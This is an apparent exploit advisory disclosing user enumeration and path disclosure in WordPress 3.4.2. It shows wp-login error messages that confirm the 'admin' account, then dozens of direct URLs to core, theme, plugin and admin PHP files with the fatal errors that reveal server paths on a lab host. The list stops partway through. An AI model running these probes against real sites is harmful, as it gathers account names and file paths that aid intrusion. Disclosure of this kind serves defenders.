exploit the possibilities

WordPress 3.4.2 User Enumeration / Path Disclosure

WordPress 3.4.2 User Enumeration / Path Disclosure
Posted Sep 18, 2012
Authored by Akastep

WordPress version 3.4.2 appears to suffer from user enumeration and path disclosure vulnerabilities.

tags | exploit, vulnerability, info disclosure
MD5 | fa1b6660fa3b421b3ce956098eb9018e

WordPress 3.4.2 User Enumeration / Path Disclosure

Change Mirror Download
============================================================
Vulnerable Software: WordPress (Version 3.4.2)
Downloaded from: http://wordpress.org/latest.zip
MD5SUM: (d670508d81e2fd060c2041441bc03300 *wordpress-3.4.2.zip)
===========================================================

Tested:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL: 5.5.27

============================================================
*User Enumeration: (Well known.+.Still unfixed.Abusing it again.)*

http://192.168.0.15/learn/t//wordpress/wp-login.php
Username: asnasjkdaskljdnl
pass: asdnsknsdnfjdnfd


ERROR: Invalid username. Lost your password?

======================================
http://192.168.0.15/learn/t//wordpress/wp-login.php

Username: admin
pass: asdnsknsdnfjdnfd


ERROR: The password you entered for the username admin is incorrect. Lost your password?





*PATH DISCLOSURES*
No authentication required.Just direct access and it'll expose such information.
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/vars.php

Fatal error: Call to undefined function is_admin() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\vars.php on line 20


====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/update.php


Fatal error: Call to undefined function is_main_site() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\update.php on line 433

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/theme.php



Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme.php on line 570
====================================================



http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/sidebar.php


Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\sidebar.php on line 10


====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/header.php



Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\header.php on line 10

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/footer.php





Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\footer.php on line 10

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/comments.php



Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\comments.php on line 10

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/theme-compat/comments-popup.php



Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\theme-compat\comments-popup.php on line 10


====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/template-loader.php



Fatal error: Call to undefined function is_robots() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\template-loader.php on line 10

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/taxonomy.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\taxonomy.php on line 113

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/shortcodes.php


Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\shortcodes.php on line 334

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/script-loader.php



Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\script-loader.php on line 25

Notice: Use of undefined constant WPINC - assumed 'WPINC' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\script-loader.php on line 25

Warning: require(ABSPATHWPINC/class.wp-dependencies.php) [function.require]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\script-loader.php on line 25

Fatal error: require() [function.require]: Failed opening required 'ABSPATHWPINC/class.wp-dependencies.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\script-loader.php on line 25


====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/rss.php




Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\rss.php on line 18


====================================================

192.168.0.15/learn/t/wordpress/wp-includes/rss-functions.php



Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\rss-functions.php on line 8


====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/registration.php


Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\registration.php on line 7
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/registration-functions.php


Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\registration-functions.php on line 7



====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/post.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\post.php on line 159

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/post-template.php


Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\post-template.php on line 975

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/nav-menu-template.php



Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\nav-menu-template.php on line 17


====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/ms-settings.php



Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-settings.php on line 14

Notice: Use of undefined constant WPINC - assumed 'WPINC' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-settings.php on line 14

Warning: require(ABSPATHWPINC/ms-load.php) [function.require]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-settings.php on line 14

Fatal error: require() [function.require]: Failed opening required 'ABSPATHWPINC/ms-load.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-settings.php on line 14

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/ms-functions.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-functions.php on line 1826

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/ms-default-filters.php


Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-default-filters.php on line 17

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/ms-default-constants.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\ms-default-constants.php on line 138


====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/media.php

Fatal error: Call to undefined function add_shortcode() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\media.php on line 715
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/kses.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\kses.php on line 1430


====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/config.php


Notice: Use of undefined constant PSPELL_FAST - assumed 'PSPELL_FAST' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\config.php on line 14

Notice: Use of undefined constant PSPELL_FAST - assumed 'PSPELL_FAST' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\config.php on line 20

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php



Fatal error: Class 'SpellChecker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\classes\PSpellShell.php on line 10


====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php



Fatal error: Class 'SpellChecker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\classes\PSpell.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php


Fatal error: Class 'SpellChecker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\classes\GoogleSpell.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/js/tinymce/plugins/spellchecker/classes/EnchantSpell.php


Fatal error: Class 'SpellChecker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\js\tinymce\plugins\spellchecker\classes\EnchantSpell.php on line 12

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/general-template.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\general-template.php on line 1283

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/functions.php


Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\functions.php on line 8

Notice: Use of undefined constant WPINC - assumed 'WPINC' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\functions.php on line 8

Warning: require(ABSPATHWPINC/option.php) [function.require]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\functions.php on line 8

Fatal error: require() [function.require]: Failed opening required 'ABSPATHWPINC/option.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\functions.php on line 8

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/feed-rss2.php


Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-rss2.php on line 8

====================================================


http://192.168.0.15/learn/t/wordpress/wp-includes/feed-rss2-comments.php



Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-rss2-comments.php on line 8

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/feed-rss.php

Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-rss.php on line 8

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/feed-rdf.php


Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-rdf.php on line 8
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/feed-atom.php


Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-atom.php on line 8

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/feed-atom-comments.php


Fatal error: Call to undefined function feed_content_type() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\feed-atom-comments.php on line 8
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/default-widgets.php


Fatal error: Class 'WP_Widget' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\default-widgets.php on line 14
====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/default-filters.php


Fatal error: Call to undefined function add_filter() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\default-filters.php on line 17
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/comment-template.php


Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\comment-template.php on line 1220


====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/class.wp-styles.php


Fatal error: Class 'WP_Dependencies' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class.wp-styles.php on line 19

====================================================
http://192.168.0.15/learn/t/wordpress/wp-includes/class.wp-scripts.php


Fatal error: Class 'WP_Dependencies' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class.wp-scripts.php on line 19
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/class-wp-xmlrpc-server.php


Fatal error: Class 'IXR_Server' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-wp-xmlrpc-server.php on line 22


====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/class-wp-http-ixr-client.php


Fatal error: Class 'IXR_Client' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-wp-http-ixr-client.php on line 9

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/class-snoopy.php


Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-snoopy.php on line 6

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/class-feed.php


Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-feed.php on line 4

Notice: Use of undefined constant WPINC - assumed 'WPINC' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-feed.php on line 4

Warning: require_once(ABSPATHWPINC/class-simplepie.php) [function.require-once]: failed to open stream: No such file or directory in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-feed.php on line 4

Fatal error: require_once() [function.require]: Failed opening required 'ABSPATHWPINC/class-simplepie.php' (include_path='.;C:\php5\pear') in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\class-feed.php on line 4

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/category-template.php


Fatal error: Class 'Walker' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\category-template.php on line 766

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/canonical.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\canonical.php on line 504
====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/author-template.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\author-template.php on line 394

====================================================

http://192.168.0.15/learn/t/wordpress/wp-includes/admin-bar.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-includes\admin-bar.php on line 39

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/tag.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\tag.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/single.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\single.php on line 10


====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/sidebar.php




Fatal error: Call to undefined function dynamic_sidebar() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\sidebar.php on line 20

====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/sidebar-footer.php
Fatal error: Call to undefined function is_active_sidebar() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\sidebar-footer.php on line 17


====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/search.php

Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\search.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/page.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\page.php on line 15
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/onecolumn-page.php



Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\onecolumn-page.php on line 15


====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/loop.php


Notice: Undefined variable: wp_query in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop.php on line 23

Notice: Trying to get property of non-object in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop.php on line 23

Fatal error: Call to undefined function have_posts() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop.php on line 31
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/loop-single.php


Fatal error: Call to undefined function have_posts() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop-single.php on line 18
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/loop-page.php


Fatal error: Call to undefined function have_posts() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop-page.php on line 18
====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/loop-attachment.php



Fatal error: Call to undefined function have_posts() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\loop-attachment.php on line 18

====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/index.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\index.php on line 16
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/header.php

Fatal error: Call to undefined function language_attributes() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\header.php on line 12
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/functions.php

Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\functions.php on line 51
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/footer.php



Fatal error: Call to undefined function get_sidebar() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\footer.php on line 22


====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/comments.php

Fatal error: Call to undefined function post_password_required() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\comments.php on line 17

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/category.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\category.php on line 10


====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/author.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\author.php on line 10

====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/attachment.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\attachment.php on line 10


====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/archive.php



Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\archive.php on line 15
====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyten/404.php



Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyten\404.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/tag.php



Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\tag.php on line 10


====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/single.php



Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\single.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar.php


Fatal error: Call to undefined function twentyeleven_get_theme_options() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\sidebar.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar-page.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\sidebar-page.php on line 11

====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/sidebar-footer.php

Fatal error: Call to undefined function is_active_sidebar() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\sidebar-footer.php on line 17

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/showcase.php


Fatal error: Call to undefined function wp_enqueue_script() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\showcase.php on line 18


====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/search.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\search.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/page.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\page.php on line 15
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/index.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\index.php on line 15

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/inc/widgets.php


Fatal error: Class 'WP_Widget' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\inc\widgets.php on line 11
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/inc/theme-options.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\inc\theme-options.php on line 23

====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/image.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\image.php on line 10
====================================================
http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/functions.php


Fatal error: Call to undefined function is_404() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\footer.php on line 21
====================================================


http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/comments.php


Fatal error: Call to undefined function post_password_required() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\comments.php on line 16
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/category.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\category.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/author.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\author.php on line 10
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/archive.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\archive.php on line 15

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/themes/twentyeleven/404.php


Fatal error: Call to undefined function get_header() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\themes\twentyeleven\404.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/plugins/hello.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\hello.php on line 60
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/plugins/akismet/widget.php



Fatal error: Class 'WP_Widget' not found in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\akismet\widget.php on line 5
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/plugins/akismet/legacy.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\akismet\legacy.php on line 356
====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/plugins/akismet/akismet.php


Fatal error: Call to undefined function plugin_dir_url() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\akismet\akismet.php on line 32


====================================================

http://192.168.0.15/learn/t/wordpress/wp-content/plugins/akismet/admin.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-content\plugins\akismet\admin.php on line 2
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/user/menu.php


Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\user\menu.php on line 10

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/upgrade-functions.php

Fatal error: Call to undefined function _deprecated_file() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\upgrade-functions.php on line 11

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/options-head.php


Fatal error: Call to undefined function wp_reset_vars() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\options-head.php on line 12
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/network/menu.php


Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\network\menu.php on line 11
====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/menu.php


Fatal error: Call to undefined function __() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\menu.php on line 25
====================================================


http://192.168.0.15/learn/t/wordpress/wp-admin/menu-header.php



Fatal error: Call to undefined function apply_filters() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\menu-header.php on line 22

====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/user.php


Fatal error: Call to undefined function add_action() in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\user.php on line 309


====================================================

http://192.168.0.15/learn/t/wordpress/wp-admin/includes/upgrade.php


Notice: Use of undefined constant WP_CONTENT_DIR - assumed 'WP_CONTENT_DIR' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\upgrade.php on line 12

Notice: Use of undefined constant ABSPATH - assumed 'ABSPATH' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\t\wordpress\wp-admin\includes\upgrade.php on line 16

